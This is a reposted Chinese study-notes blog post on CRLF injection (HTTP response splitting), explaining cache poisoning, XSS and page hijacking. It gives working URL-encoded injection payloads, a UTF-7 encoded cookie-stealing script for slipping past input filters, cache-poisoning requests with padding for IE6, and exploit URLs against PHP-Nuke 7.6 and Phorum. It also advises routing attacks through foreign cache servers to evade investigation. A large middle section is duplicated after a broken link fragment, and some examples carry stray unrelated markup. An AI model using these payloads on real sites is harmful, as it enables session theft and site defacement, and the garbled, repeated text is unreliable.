1. 程式人生 > >CRLF注入詳解 (HTTP響應頭拆分)學習筆記(一)

CRLF注入詳解 (HTTP響應頭拆分)學習筆記(一)

一:前言

“HTTP響應頭拆分漏洞”是一種新型的web攻擊方案,它重新產生了很多安全漏洞包括:web快取感染、使用者資訊塗改、竊取敏感使用者頁面、跨站指令碼漏洞。這項攻擊方案,包括其衍生的一系列技術產生,是由於web應用程式沒有對使用者的提交進行嚴格過濾,導致非法使用者可以提交一些惡意字元,更具體來說,是對使用者輸入的CR 和LF字元沒有進行嚴格的過濾。
“HTTP響應頭拆分漏洞”及其相關的攻擊手段可以在很多的web環境中實現,包括微軟的asp、asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,MacromediaoldFusion/MX,Sun MicrosystemsSunONE;流行的Squid和Apache伺服器;流行的微軟IE6.0瀏覽器。我不是在吹牛,很多大的站點都存在這樣的漏洞,這讓我大吃一驚。
    這篇文章將描述攻擊的概念並且提供一些使用例項分析。
二:介紹
在HTTP響應頭拆分攻擊中具體牽涉到三個物件:
漏洞伺服器:即存在漏洞的伺服器。
攻擊工具:比如瀏覽器,類似IE6.0。
攻擊者:發動攻擊的人。
HTTP響應頭拆分攻擊本質是:攻擊者可以傳送一個或幾個HTTP指令迫使漏洞伺服器產生一個攻擊者構想好的輸出。它可以讓伺服器誤把幾條HTTP請求看成一次完成的HTTP請求來解釋。第一條請求也許攻擊者部分控制著一部分,但這並不是危險的;危險的是,攻擊者完全控制著第二條HTTP請求,即從HTTP狀態行一直到HTTP請求的尾部。如果這樣可行,攻擊者就會發送多個請求指令到目標系統:第一條使得伺服器完全接受兩個HTTP響應,第二條響應通常是在伺服器上請求一些非法資源,而伺服器將會自動匹配到第二條響應,輸出攻擊者想要請求的資源,從而達到攻擊者的目的。
通過這個思路,我們可以構造出形形色色的攻擊,具體來說:
1跨站指令碼攻擊(XSS):這是一個非常普通和老式的漏洞,它可以讓使用者通過運行了一段javascript或者html程式碼後,可以擷取該使用者的cookie和session。但是到現在,通過一些重定向指令碼發起一次XSS攻擊是很困難的,尤其是當用戶使用最新補丁的IE瀏覽器的時候,除非位置頭是完全控制的。但是當結合HTTP響應頭攻擊確是可以非常簡單實現,即使只是部分控制位置頭。
2web快取中毒(我們稱之為web損耗):這是一個新的攻擊技術,攻擊者強迫伺服器快取記憶體中記錄了第二次HTTP請求,而伺服器中的快取記憶體記錄的第二次請求是經過攻擊者精心構造的。這將成功的對目標站點進行損耗,當其他人訪問目標站點時,他們僅僅讀取了快取記憶體裡的資料,造成站點被“黑”的假象。當然,除了站點損耗之外,攻擊者也可以偷取使用者的session和cookie。
3 通過對使用者的攻擊:這是第二種方式的一個特殊情況。它對單個使用者的欺騙、對伺服器單個頁面的損耗,和暫時的磨損,也可以偷取到特定使用者的session和cookie。
4 劫持具體使用者的頁面敏感資訊:攻擊者欺騙伺服器,並取得敏感使用者的許可權,並進入其使用者的狀態,訪問到一些祕密資訊。
5 瀏覽器快取記憶體中毒:這也是一項最新的攻擊方式,它這和跨站指令碼攻擊方式有點類似,唯一的差別就是攻擊者強迫瀏覽器快取記憶體中記錄一個長和持續的磨損的網頁,直到瀏覽器的快取記憶體已經清潔。
對於這些我將在後面一一作介紹。
三:web快取記憶體中毒的實現
由於這是一個新興的技術,所以這個段落我將對web快取記憶體中毒的實現做進一步的分析。
1 毒害反向代理快取記憶體:即電子塗寫。在這種方式中,攻擊者將直接面向網站。當然最厲害的手法是磨損該網站的首頁,這樣所有客戶端將都受到影響,這也是最漂亮的手段,但是這樣很容易被發現。
2毒害一臺中間快取記憶體伺服器:迂迴。這種方式被發現是很困難的,中間快取伺服器是有很多的,而且漏洞伺服器不可能佔有所有的中間快取伺服器,這些伺服器很有可能不是在同一個地方,比如我們攻擊臺灣的站點,我們很有可能會先攻擊一臺位於美國的中間快取伺服器,即使被調查到了也是要很久的,也許我們早就有時間把所有的資訊給清除。
3毒害瀏覽器快取記憶體:一針見血。攻擊者很有可能會瞄準到一個特殊使用者,例如從一個很富有的使用者那裡偷取到證書,這樣的攻擊將會變得很獨特而且很難實施。因為,它不同於跨站指令碼攻擊,而且被毒害的頁面要始終保持在快取記憶體中以等待受害者(即你所瞄準的使用者)來裝載,有時候受害者從來都不會登陸到那個頁面,或者是受害者瀏覽器禁止了JAVA指令碼的執行等等,都會造成無法成功。
四:HTTP響應頭漏洞攻擊基本技術。
HTTP響應頭攻擊把程式碼嵌入到使用者資訊中並放在HTTP頭部,也發生在把使用者資訊和程式碼嵌入到重定向到的URL中,或者把指令碼嵌入到cookie值或者name裡。在第一條響應中,重定向的URL是HTTP響應頭的一部分,第二條響應是確定cookie,cookie中的name/value是響應頭中set-cookie的一部分。
由於攻擊的特殊性,在實現攻擊前,我們先來了解一下這兩個字元的編碼:
CR = %0d = \r
LF = %0a = \n
比如,我們考慮以下jsp頁面(/isno.jsp),內容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>
假如使得parmeter lang=ivory,程式將會重定向到/isno.jsp?lang=ivory。通常一個標準的HTTP請求會如下:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 12:53:28 GMT\r\n
Location:

http://192.168.0.1/isno.jsp?lang=ivory\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=/\r\n
Connection: Close\r\n
< html><head><title>302 Moved Temporarily</title></head>\r\n
< body bgcolor="#FFFFFF">\r\n
< p>This document you requested has moved temporarily.</p>\r\n
< p>It's now at <a
href="
這樣我們能清楚的看出lang所賦的值被嵌入在Location響應頭中。
好,我們來實行HTTP響應頭攻擊,再將lang賦值,這次並不是ivory,而是給另外一個東西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
這樣的話,HTTP將會如下發送:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location:
http://192.168.0.1/isno.jsp?lang=Allyesno\r\n

Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html>\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=/\r\n
Connection: Close\r\n
< html><head><title>302 Moved Temporarily</title></head>\r\n
< body bgcolor="#FFFFFF">\r\n
< p>This document you requested has moved temporarily.</p>\r\n
< p>It's now at <a href="
http://192.168.0.1/isno.jsp?lang=Allyesno\r\n

Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html>">http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html></a>.</p>\r\n
< /body></html>\r\n
不同的地方我用顏色標識出來了,但是這裡我還是作一些解釋:
這裡提交了兩個請求,第一個指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二個指向的URL是
/index.html
這樣伺服器會給第一個請求匹配到第一個響應:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
對第二個請求(/index.html)自動匹配到第二個響應:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html></a>.</p>\r\n
< /body></html>\r\n
這樣,攻擊者就成功的愚弄了伺服器。我們可以看出,上面這個例子非常的簡單而且無知,但是是最簡單的利用方法,當然實際的情況會更復雜,更會出現一些問題,我們將在下面的部分討論實戰中要考慮到的因素。
五:從實際出發—把絆腳石踢開
1 錯誤處理機制。
“錯誤處理”曾是iis漏洞的一個漏洞點,在iis5.0中,它允許客戶端定製一個指令碼來處理HTTP錯誤資訊,而不是給出真正的錯誤頁面。舉例來說,當用戶請求一個資源,而該資源不存在的時候,會出現“資源無法訪問(你所找的頁面不存在)”(HTTP狀態404),而同時IIS5.0允許產生一個指令碼程式碼響應給使用者,這個程式碼可以是靜態的HTML,也可以是動態的ASP等等。因此,這裡就會產生一個HTTP響應頭拆分漏洞,但是隻是針對iis5.0。
2 字元過濾器的饒過。
另一個要面對的問題就是,一些應用程式會過濾掉一些使用者輸入的非法字元。特別是對一些非ASCII字元作嚴格的過濾。例如ASP.NET1.0/1.1會嘗試對資料進行UTF-8編碼,如果在UTF-8中不符合的資料將會自動丟失;ASP.NET1.1不允許有’<’字元出現在一些資料的後面。
而我們在構造header頭的時候,基本上都不會出現被過濾的情況。關鍵就是對body請求的構造,因為這個地方會出現一些讓字元過濾器過濾的字元。
饒過的方法當然就是對body處進行UTF-7進行編碼(RFC 2152 -[1]),這種編碼方法可以對任意的unicode字元編碼到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,這樣可以讓過濾器對我們提交的資料無法過濾。具體實現的方法如下:
I 修改第一處:
Content-Type: text/html;charset=utf-7
II 修改第二處:
將<html><body><script>alert('get,cookies:'+document.cookie)</script></body></html>
編碼後成為:
+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-
3 使請求的URL長度儘量縮小。
六.對快取記憶體中毒的分析,跨站指令碼在IE中的利用
要使快取記憶體中毒,我們必須要提交Last-Modified的HTTP響應頭,並指明一個將來的日期。我用例項來說明一下對快取記憶體中毒的攻擊:
./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><fontcolor=red>I’m%20Isno!</font></html> HTTP/1.1
另外一個更實際的例子,對APACHE/2.0的攻擊(APACHE很容易實現HTTP響應頭拆分攻擊,作為範例最好不過了):
這次攻擊將傳送三條請求,第一條用來迫使伺服器對資源的快取記憶體無效,第二條請求將利用HTTP響應頭攻擊,使得Apache自動連線第三條響應和第二條響應。
攻擊具體如下:
第一次請求:
GET http://192.168.0.1/index.html HTTP/1.1(由於apache不對”/”進行快取)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
第二次請求:
GET >
HTTP/1.1
Host: 192.168.0.1\r\n
User-Agent: Mozilla/4.7 [en] (WinNT; I)\r\n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n
Accept-Encoding: gzip\r\n
Accept-Language: en\r\n
Accept-Charset: iso-8859-1,*,utf-8\r\n
第三次請求:
GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
另外注意的地方:比如IE EXPLORER6.0(SP1),由於一些機制的影響,我們不能直接的象上面那樣輸入,要稍微想點辦法,由於其緩衝區邊界為1024個位元組,所以它讀取第一條請求使用了1024個位元組,所以第二個請求必須要從1024個位元組開始為邊界,所以我們提交的會是下面這樣的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024個A]…AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0a<html>Hacked-by-isno!</html>
同樣的思路,對於跨站指令碼攻擊的提交會是這樣的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024個A] …AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>
這裡一定要謹慎。
七.通過對使用者的攻擊—理論分析
Squid2.4和ISA/2000允許使用者分享與伺服器的連線,這樣的話,很有可能存在一個HTTP響應頭拆分漏洞的隱患,可以提交兩次對伺服器的請求,如果這兩次請求存在一個延遲,這時攻擊者要斷開和伺服器的連線,而受害的使用者再給出一個對伺服器的請求的時候,這樣就產生了一個攻擊。我們可以看出,這樣的攻擊,要求對與伺服器斷開連線的時間上做很好的控制,特別是當兩次請求包的延遲比10毫秒還低的時候(在Squid2.4上證明了這一點)。對於ISA/2000來說,攻擊方式稍微要簡單些,因為兩個使用者可能分享相同的TCP連線,所以並不需要攻擊者斷開與伺服器的連線。
八.劫持使用者頁敏感資訊
這個有點類似於我們所說的中間人攻擊。這時候攻擊者充當著兩個角色:對使用者來說他充當了伺服器的角色,對伺服器來說他充當了使用者的角色,然後象一個審查員一樣的工作,這樣不僅可以劫持到使用者的敏感資訊,而且同樣可以進行篡改和新增。
九. 實際的安全漏洞兩則
以下我會舉出一些更具體的例子來加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP響應拆分漏洞
起因是應用程式沒有正確的過濾使用者提供的輸入。遠端攻擊者可以利用這個漏洞影響或錯誤的顯示Web內容服務,快取或解釋的方式,這可能幫助誘騙客戶端使用者,導致跨站指令碼,快取破壞或頁面劫持等漏洞。
攻擊手法如下
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE \
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> \
2 Phorum HTTP響應拆分漏洞
由於沒能正確的驗證傳送給Location引數的輸入,攻擊者可能向HTTP首部中注入惡意的字元。這可能導致在受影響站點的使用者瀏覽器會話中執行任意HTML和指令碼程式碼,進而展開各種攻擊,如跨站指令碼、破壞Web或瀏覽器快取、劫持頁面等。
攻擊手法如下:
[url=http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%]http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%"target="_blank">http://192.168.0.1/isno.jsp?lang=ivory</a>.</p>\r\n</body>\r\n</html>\r\n[/url">http://192.168.0.1/isno.jsp?lang=ivory">http://192.168.0.1/isno.jsp?lang=ivory</a>.</p>\r\n</body>\r\n</html>\r\n
這樣我們能清楚的看出lang所賦的值被嵌入在Location響應頭中。
好,我們來實行HTTP響應頭攻擊,再將lang賦值,這次並不是ivory,而是給另外一個東西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
這樣的話,HTTP將會如下發送:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html>\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=/\r\n
Connection: Close\r\n
< html><head><title>302 Moved Temporarily</title></head>\r\n
< body bgcolor="#FFFFFF">\r\n
< p>This document you requested has moved temporarily.</p>\r\n
< p>It's now at <a href="http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html>">http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html></a>.</p>\r\n
< /body></html>\r\n
不同的地方我用顏色標識出來了,但是這裡我還是作一些解釋:
這裡提交了兩個請求,第一個指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二個指向的URL是
/index.html
這樣伺服器會給第一個請求匹配到第一個響應:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
對第二個請求(/index.html)自動匹配到第二個響應:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
< html>I’m%20isno!</html></a>.</p>\r\n
< /body></html>\r\n
這樣,攻擊者就成功的愚弄了伺服器。我們可以看出,上面這個例子非常的簡單而且無知,但是是最簡單的利用方法,當然實際的情況會更復雜,更會出現一些問題,我們將在下面的部分討論實戰中要考慮到的因素。
五:從實際出發—把絆腳石踢開
1 錯誤處理機制。
“錯誤處理”曾是iis漏洞的一個漏洞點,在iis5.0中,它允許客戶端定製一個指令碼來處理HTTP錯誤資訊,而不是給出真正的錯誤頁面。舉例來說,當用戶請求一個資源,而該資源不存在的時候,會出現“資源無法訪問(你所找的頁面不存在)”(HTTP狀態404),而同時IIS5.0允許產生一個指令碼程式碼響應給使用者,這個程式碼可以是靜態的HTML,也可以是動態的ASP等等。因此,這裡就會產生一個HTTP響應頭拆分漏洞,但是隻是針對iis5.0。
2 字元過濾器的饒過。
另一個要面對的問題就是,一些應用程式會過濾掉一些使用者輸入的非法字元。特別是對一些非ASCII字元作嚴格的過濾。例如ASP.NET1.0/1.1會嘗試對資料進行UTF-8編碼,如果在UTF-8中不符合的資料將會自動丟失;ASP.NET1.1不允許有’<’字元出現在一些資料的後面。
而我們在構造header頭的時候,基本上都不會出現被過濾的情況。關鍵就是對body請求的構造,因為這個地方會出現一些讓字元過濾器過濾的字元。
饒過的方法當然就是對body處進行UTF-7進行編碼(RFC 2152 -[1]),這種編碼方法可以對任意的unicode字元編碼到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,這樣可以讓過濾器對我們提交的資料無法過濾。具體實現的方法如下:
I 修改第一處:
Content-Type: text/html;charset=utf-7
II 修改第二處:
將<html><body><script>alert('get,cookies:'+document.cookie)</script></body></html>
編碼後成為:
+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-
3 使請求的URL長度儘量縮小。
六.對快取記憶體中毒的分析,跨站指令碼在IE中的利用
要使快取記憶體中毒,我們必須要提交Last-Modified的HTTP響應頭,並指明一個將來的日期。我用例項來說明一下對快取記憶體中毒的攻擊:
./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><fontcolor=red>I’m%20Isno!</font></html> HTTP/1.1
另外一個更實際的例子,對APACHE/2.0的攻擊(APACHE很容易實現HTTP響應頭拆分攻擊,作為範例最好不過了):
這次攻擊將傳送三條請求,第一條用來迫使伺服器對資源的快取記憶體無效,第二條請求將利用HTTP響應頭攻擊,使得Apache自動連線第三條響應和第二條響應。
攻擊具體如下:
第一次請求:
GET http://192.168.0.1/index.html HTTP/1.1(由於apache不對”/”進行快取)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
第二次請求:
GET >
HTTP/1.1
Host: 192.168.0.1\r\n
User-Agent: Mozilla/4.7 [en] (WinNT; I)\r\n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n
Accept-Encoding: gzip\r\n
Accept-Language: en\r\n
Accept-Charset: iso-8859-1,*,utf-8\r\n
第三次請求:
GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
另外注意的地方:比如IE EXPLORER6.0(SP1),由於一些機制的影響,我們不能直接的象上面那樣輸入,要稍微想點辦法,由於其緩衝區邊界為1024個位元組,所以它讀取第一條請求使用了1024個位元組,所以第二個請求必須要從1024個位元組開始為邊界,所以我們提交的會是下面這樣的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024個A]…AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0a<html>Hacked-by-isno!</html>
同樣的思路,對於跨站指令碼攻擊的提交會是這樣的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024個A] …AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>
這裡一定要謹慎。
七.通過對使用者的攻擊—理論分析
Squid2.4和ISA/2000允許使用者分享與伺服器的連線,這樣的話,很有可能存在一個HTTP響應頭拆分漏洞的隱患,可以提交兩次對伺服器的請求,如果這兩次請求存在一個延遲,這時攻擊者要斷開和伺服器的連線,而受害的使用者再給出一個對伺服器的請求的時候,這樣就產生了一個攻擊。我們可以看出,這樣的攻擊,要求對與伺服器斷開連線的時間上做很好的控制,特別是當兩次請求包的延遲比10毫秒還低的時候(在Squid2.4上證明了這一點)。對於ISA/2000來說,攻擊方式稍微要簡單些,因為兩個使用者可能分享相同的TCP連線,所以並不需要攻擊者斷開與伺服器的連線。
八.劫持使用者頁敏感資訊
這個有點類似於我們所說的中間人攻擊。這時候攻擊者充當著兩個角色:對使用者來說他充當了伺服器的角色,對伺服器來說他充當了使用者的角色,然後象一個審查員一樣的工作,這樣不僅可以劫持到使用者的敏感資訊,而且同樣可以進行篡改和新增。
九. 實際的安全漏洞兩則
以下我會舉出一些更具體的例子來加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP響應拆分漏洞
起因是應用程式沒有正確的過濾使用者提供的輸入。遠端攻擊者可以利用這個漏洞影響或錯誤的顯示Web內容服務,快取或解釋的方式,這可能幫助誘騙客戶端使用者,導致跨站指令碼,快取破壞或頁面劫持等漏洞。
攻擊手法如下
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE \
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> \
2 Phorum HTTP響應拆分漏洞
由於沒能正確的驗證傳送給Location引數的輸入,攻擊者可能向HTTP首部中注入惡意的字元。這可能導致在受影響站點的使用者瀏覽器會話中執行任意HTML和指令碼程式碼,進而展開各種攻擊,如跨站指令碼、破壞Web或瀏覽器快取、劫持頁面等。
攻擊手法如下:
[url=http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%]http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%\
0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%203 \
4%0d%0a%0d%0a<html>Scanned by \
PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates= \

轉自:http://blog.csdn.net/gstormspire/article/details/8183598